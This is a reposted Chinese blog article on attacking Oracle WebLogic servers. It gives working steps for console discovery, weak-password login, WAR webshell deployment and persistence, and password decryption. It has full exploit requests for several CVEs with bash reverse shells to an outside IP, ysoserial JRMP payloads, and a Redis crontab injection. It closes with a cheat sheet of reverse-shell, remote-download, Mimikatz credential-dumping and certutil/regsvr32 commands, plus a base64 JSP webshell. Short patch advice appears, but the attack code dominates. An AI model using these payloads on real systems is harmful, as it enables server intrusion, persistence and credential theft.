首页 安全文摘 WEB安全 正文

如何玩转weblogic漏洞

如何玩转weblogic漏洞weblogic基于JAVAEE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。环境搭建安装oracle数据库点击SQL plus输入用户名密码,连接数据库运行wls1036_generic.jar来安装weblogic启动weblogic服务--》创建新域--》默认--》

如何玩转weblogic漏洞

weblogic基于JAVAEE架构的中间件,是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

环境搭建

  1. 安装oracle数据库

  2. 点击SQL plus输入用户名密码,连接数据库

  3. 运行wls1036_generic.jar来安装weblogic

  4. 启动weblogic服务--》创建新域--》默认--》生产模式--》可选配置选前两个--》默认--》完成

  5. 进入域目录下,运行startweblogic.cmd,登录即可开启服务


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第1张


重要路径

user_projects:存放域的文件夹(必须要创建域后才可以产生)

logs:存放日志信息

Middleware\use_projects\domains\base_domains:默认域的目录

\ser_projects\domains\base_domain\servers\AdminServer\security\boot.properties:控制台密码

autodeploy:用于存储主服务器部署的项目

(在weblogic中主服务器中尽量不要部署项目,它是用来启动后台控制面板和管理其它服务器的)

部署shell

第一步:快速探测目标所有的weblogic默认管理控制台入口

nmap -sT -sV -Pn -v --open -p 80,7000-10000 102.168.191.30

实战中考虑到精度,建议直接在目标C段跑,weblogic默认端口为7001,但通常情况下都会被目标管理员改掉,所以实战中端口最好稍微放大点端口的范围


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第2张


第二步:利用默认弱口令进入weblogic web控制台

注意,weblogic 登陆口有账户锁定保护,可以手工尝试常见弱口令。(频率不要过快)


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第3张


第三步:部署war 包 webshell(方法对于weblogic 10.x-12.x版本几乎通用)

锁定并编辑--》部署--》安装--》上载文件--》下一步..--》完成--》保存--》激活更改--》部署--》启动


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第4张


成功拿到shell


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第5张


第四步:手工传另一个shell来持久维权,有三种较合适的路径

  • 到图片目录下


    如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第6张

    然后尝试访问:

  • 接收到shell

    如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第7张
    1. http://192.168.191.30:7001/console/framework/skins/wlsconsole/images/4.jsp

    2. C:/Oracle/Middleware/wlserver_10.3/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/

  • uddiexplorer目录下

  • 然后访问:

    1. http://192.168.191.30:7001/uddiexplorer/dong.jsp

    2. C:\Oracle\Middleware\user_projects\domains\base domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\dong.jsp

  • 随机目录

  • 然后尝试访问:

    1. http://192.168.191.30:7001/cmd/dong.jsp

    2. C:\Oracle\Middleware\user_projects\domains\base domain\servers\AdminServer\tmp\_WL_user\已部署的项目名\随机字符\war\dong.jsp

第五步:去删掉一开始部署的那个war包【要先停止服务再删】,最后点击激活更改【此项一定不要忘了,不然是不生效的】


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第8张


weblogic高危漏洞大致分类

破解weblogic密码

weblogic密码使用AES(老版本3DES)加密,是对称加密。

只需要找到用户的密文与加密时的密钥即可解密。

密钥路径:/userprojects/domains/basedomain/security/SerializedSystemIni.dat

密文路径:/userprojects/domains/basedomain/config/config.xml

第一步:假设存在任意文件下载漏洞


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第9张


第二步:下载密钥文件(SerializedSystemIni.dat是二进制文件,浏览器直接下载可能引入干扰字符)

选中字符右键--》copy to file


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第10张


第三步:寻找密文(标签里面)


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第11张


第四步:用工具解密


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第12张


CVE-2014-4210 SSRF

漏洞分析

漏洞出现在uddi组件SearchPublicRegistries.jsp引入的com.bea.uddiexplorer.Search包中,sendMessage函数前面构造soap协议包导致SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

影响范围
  • WebLogic 10.3.6.0

  • WebLogic 10.0.2.0

漏洞验证

第一步:确认存在漏洞

在 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp 页面搜索时,operator参数存在ssrf漏洞


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第13张


第二步:修改operator参数进行端口探测

访问开放端口,返回状态码


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第14张


访问非http协议的开放端口,返回 not have a valid SOAP content-type


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第15张


访问未开放端口,返回 could not connect over HTTP to server


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第16张


第三步:注入shell,利用探测到的内网中redis服务器(172.22.0.2:6379)反弹shell

可以通过传入 %0a%0d来注入换行符分隔每条命令

  1. test


  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.210.170.40/21 0>&1\n\n\n\n"

  3. config set dir /etc/

  4. config set dbfilename crontab

  5. save


  6. aaa


  7. --------------url编码后---------------------

  8. test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.210.170.40%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

发送payload


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第17张


成功接收shell


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第18张


可进行利用的cron路径:

  1. /etc/crontab


  2. /etc/cron.d/* //效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。


  3. /var/spool/cron/root //centos系统下root用户的cron文件


  4. /var/spool/cron/crontabs/root //debian系统下root用户的cron文件

修复建议
  • 限制uddiexplorer应用只能内网访问

  • 删除SearchPublicRegistries.jsp页面

  • 解压uddiexplorer.war将SearchPublicRegistries.jsp重命名

  • 下载Oracle官方安全补丁进行更新修复

CVE-2018-2893 反序列化

漏洞分析

此漏洞产生于WebLogic T3服务,结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单,可利用漏洞执行任意代码。

影响范围

(JDK7u21之前可以触发)

  • WebLogic10.3.6.0

  • WebLogic12.1.3.0

  • WebLogic12.2.1.2

  • WebLogic12.2.1.3

漏洞验证

第一步:快速验证目标是否存在此漏洞

python cve-2018-2893.py 192.168.222.130 7001


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第19张


第二步:生成payload

java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "192.210.170.40:1099" > shell.cer

开启监听

  1. java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch success.txt"


  2. ----------windows靶机--------------

  3. java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "regsvr32 /s /n /u /i:http://192.168.191.11:2333/a scrobj.dll"


  4. //cs接收shell


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第20张


第三步:执行payload

python weblogic.py 114.116.33.63 7001 shell.cer


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第21张


成功在靶机上创建了文件


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第22张


修复方案
  1. 升级更新服务

    1. http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html

  2. 根据业务需求选择禁用T3协议

    (1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全“选项卡页面,点击“筛选器”,进入连接筛选器配置。

    (2)t3和t3s协议的所有端口只允许本地访问。

    在连接筛选器中输入:

  3. 在连接筛选器规则中输入:

  4. (3)保存后需重新启动

    1. 127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s

    2. weblogic.security.net.ConnectionFiterlmpl

CVE-2018-2628 反序列化

漏洞分析

由于weblogic对于T3协议发送的数据包没有过滤,注册一个RMI(远程方法调用)接口,通过T3协议建立连接,加载回来再一步步解包,利用readObject解析,可以造成反序列化远程代码执行。

影响范围
  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.2

  • Weblogic 12.2.1.3

漏洞验证

第一步:检测weblogic版本信息和t3协议是否开启

nmap -Pn -p 7001 114.116.33.63 --script=weblogic-t3-info


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第23张


第二步:利用Perun工具快速验证目标是否存在此漏洞

python Perun.py -l . -t 114.116.33.63 --search weblogic --set-port 7001 --skip-report --skip-ping


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第24张


第三步:运行JRMPListener开启端口监听

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "wget -o /tmp/she.c http://192.210.170.40/payload.c"


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第25张


第四步:生成Payload字符串,编辑wis-cve-2018-2628-poc.py替换payload_str变量的值

java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 114.116.33.63:1099 | xxd -p | tr -d $'\n' && echo


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第26张


第五步:运行poc脚本,并进入靶机查看/tmp目录

python wls-cve-2018-2628-poc.py 114.116.33.63 7001


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第27张


修复建议
  • 添加多条筛选器规则,只允许需要的IP 端口使用t3协议。

  • 升级服务版本,更新补丁。

CVE-2017-10271 反序列化

漏洞分析

Weblogic的WLS-WebServices组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞范围
  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.1

漏洞验证

vps开启nc监听

nc -l -p 21

用burp发送如下数据包(注意需要将执行的命令进行编码,否则解析XML的时候将出现格式错误):

  1. POST /wls-wsat/CoordinatorPortType HTTP/1.1

  2. Host: http://114.116.33.63:7001

  3. Accept-Encoding: gzip, deflate

  4. Accept: */*

  5. Accept-Language: en

  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

  7. Connection: close

  8. Content-Type: text/xml

  9. Content-Length: 637


  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

  11. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

  12. <java version="1.4.0"class="java.beans.XMLDecoder">

  13. <void class="java.lang.ProcessBuilder">

  14. <array class="java.lang.String"length="3">

  15. <void index="0">

  16. <string>/bin/bash</string>

  17. </void>

  18. <void index="1">

  19. <string>-c</string>

  20. </void>

  21. <void index="2">

  22. <string>bash -i &gt;&amp; /dev/tcp/192.210.170.40/21 0&gt;&amp;1</string>

  23. </void>

  24. </array>

  25. <void method="start"/></void>

  26. </java>

  27. </work:WorkContext>

  28. </soapenv:Header>

  29. <soapenv:Body/>

  30. </soapenv:Envelope>


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第28张


成功获取shell


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第29张


修复建议
  1. 根据业务需求,考虑是否删除WLS-WebServices组件。包含此组件路径为:

  2. 以上路径都在WebLogic安装处。删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

    1. Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat


    2. Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war


    3. Middleware/wlserver_10.3/server/lib/wls-wsat.war


  3. 官方补丁修复, 前往Oracle官网下载10月份所提供的安全补丁。

CVE-2018-2894 任意文件上传

漏洞分析

WebLogic管理端未授权的两个页面(/wsutc/begin.do和/wsutc/config.do)存在任意上传getshell漏洞,可直接获取权限。

但是Web Service Test Page 在“生产模式”下默认不开启,且 ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证,所以该漏洞有一定限制。

漏洞范围
  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.2

  • Weblogic 12.2.1.3

利用前提

登录后台页面,点击 base_domain--》“高级”--》开启“启用 Web 服务测试页”选项--》保存


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第30张


漏洞验证

第一步:开启burpSuite,并设置不拦截数据包

第二步:将目录设置为 ws_utc应用的静态文件css目录(因为访问这个目录是无需权限的)

访问 http://114.116.33.63:7001/ws_utc/config.do 设置 Work Home Di为

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击提交。

第三步:上传shell


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第31张


第四步:访问shell

查看POST的响应包,里面的时间戳


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第32张


上传的文件地址是 http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

成功获取shell


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第33张


修复建议
  • 下载Oracle官方安全补丁进行更新修复

  • 关闭不必要的服务测试页面

CNVD-C-2019-48814 反序列化

漏洞分析

WebLogic中的wls9-async组件使用了XMLDecoder来解析,其补丁中WorkContextXmlInputAdapter的validate接口可被绕过,造成反序列化漏洞。

详细的代码审计分析看绿盟博客。

默认上传路径:

  1. //上传后访问 http://ip:port/_async/webshell.jsp

  2. servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/


  3. //上传后访问 http://ip:port/bea_wls_internal/webshell.jsp

  4. servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/

漏洞范围
  • Weblogic 10.3.6.0

  • Weblogic 12.1.3.0

  • Weblogic 12.2.1.2

  • Weblogic 12.2.1.3

漏洞验证

第一步:确定存在漏洞,访问 /_async/AsyncResponseService路径,出现以下内容


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第34张


第二步:vps开启nc监听

nc -l -p 21

第二步:发送poc(注意需要将执行的命令进行编码,否则解析XML的时候将出现格式错误)

  1. POST /_async/AsyncResponseService HTTP/1.1

  2. Host: http://114.116.33.63:7001

  3. Content-Length: 853

  4. Accept-Encoding: gzip, deflate

  5. SOAPAction:

  6. Accept: */*

  7. User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

  8. Connection: keep-alive

  9. content-type: text/xml


  10. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService">

  11. <soapenv:Header>

  12. <wsa:Action>xx</wsa:Action>

  13. <wsa:RelatesTo>xx</wsa:RelatesTo>

  14. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

  15. <void class="java.lang.ProcessBuilder">

  16. <array class="java.lang.String"length="3">

  17. <void index="0">

  18. <string>/bin/bash</string>

  19. </void>

  20. <void index="1">

  21. <string>-c</string>

  22. </void>

  23. <void index="2">

  24. <string>bash -i &gt;&amp; /dev/tcp/192.210.170.40/21 0&gt;&amp;1</string>

  25. </void>

  26. </array>

  27. <void method="start"/></void>

  28. </work:WorkContext>

  29. </soapenv:Header>

  30. <soapenv:Body>

  31. <asy:onAsyncDelivery/>

  32. </soapenv:Body></soapenv:Envelope>


如何玩转weblogic漏洞 漏洞分析 weblogic WEB安全  第35张


修复建议
  • 查找并删除 wls9_async_response.war和 wls-wsat.war并重启Weblogic服务

  • 通过访问策略控制禁止/_async/* 及 /wls-wsat/* 路径的URL访问

  • 下载Oracle官方安全补丁进行更新修复

几种反弹shell的方法

Linux
  • 反弹shell

    1. bash -i >& /dev/tcp/ip/port 0>&1 //开启监听 nc -lvp 7777

  • 远程下载

    1. wget http://vpsip:vpsport/webshell.txt -O /war/webshell.jsp

    2. curl http://vpsip:vpsport/webshell.txt -o /war/webshell.jsp

  • 直接写入

    1. echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > /war/webshell.jsp

Windows
  • 反弹shell

    1. powershell "IEX (New-Object Net.WebClient).DownloadString('http://ip:port/payload.ps1'); Invoke-Mimikatz -DumpCreds"


    2. regsvr32 /s /n /u /i:http://192.168.191.11:2333/a scrobj.dll

  • 远程下载

    1. powershell (new-object System.Net.WebClient).DownloadFile( 'http://ip:port/webshell.txt','war/webshell.jsp')


    2. certutil -urlcache -split -f http://ip:port/webshell.txt war/webshell.jsp

  • 直接写入

    1. echo PCUKICAgIC...C9wcmU+Iik7CiAogICAgJT4= |base64 -d > /war/webshell.jsp


    2. certutil -decode war\webshell.txt war\webshell.jsp

文章由微信公众号异空间安全

海报

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/1387.html

相关推荐

发布评论

ainiaobaibaibaibaobaobeishangbishibizuichiguachijingchongjingdahaqiandaliandangaodw_dogedw_erhadw_miaodw_tuzidw_xiongmaodw_zhutouganbeigeiliguiguolaiguzhanghahahahashoushihaixiuhanheixianhenghorse2huaixiaohuatonghuaxinhufenjiayoujiyankeaikeliankouzhaokukuloukunkuxiaolandelinileimuliwulxhainiolxhlikelxhqiuguanzhulxhtouxiaolxhwahahalxhzanningwennonuokpinganqianqiaoqinqinquantouruoshayanshengbingshiwangshuaishuijiaosikaostar0star2star3taikaixintanshoutianpingtouxiaotuwabiweifengweiquweiwuweixiaowenhaowoshouwuxiangjixianhuaxiaoerbuyuxiaokuxiaoxinxinxinxinsuixixixuyeyinxianyinyueyouhenghengyuebingyueliangyunzanzhajizhongguozanzhoumazhuakuangzuohenghengzuoyi
感谢您的支持